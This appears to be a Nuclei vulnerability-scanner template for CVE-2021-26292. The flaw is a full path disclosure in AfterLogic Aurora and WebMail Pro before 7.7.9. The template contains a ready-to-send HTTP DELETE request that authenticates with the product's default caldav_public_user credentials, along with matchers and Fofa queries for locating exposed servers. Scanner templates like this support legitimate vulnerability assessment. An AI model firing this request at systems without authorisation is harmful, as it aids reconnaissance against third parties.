CVE-2021-26292: AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure

id: CVE-2021-26292

info:
  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure
  author: johnk3r
  severity: low
  description: |
    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.
  reference:
    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26292-full-path-disclosure-vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26292
  classification:
    cve-id: CVE-2021-26292
  metadata:
    verified: true
    max-request: 1
    vendor: AfterLogic
    product: AfterLogic Aurora & WebMail
    fofa-query:
      - "X-Server: AfterlogicDAVServer"
      - "x-server: afterlogicdavserver"
  tags: cve2021,cve,afterlogic,path,disclosure,AfterLogic

http:
  - raw:
      - |
        DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "caldav_public_user"
          - "GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021"
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 404
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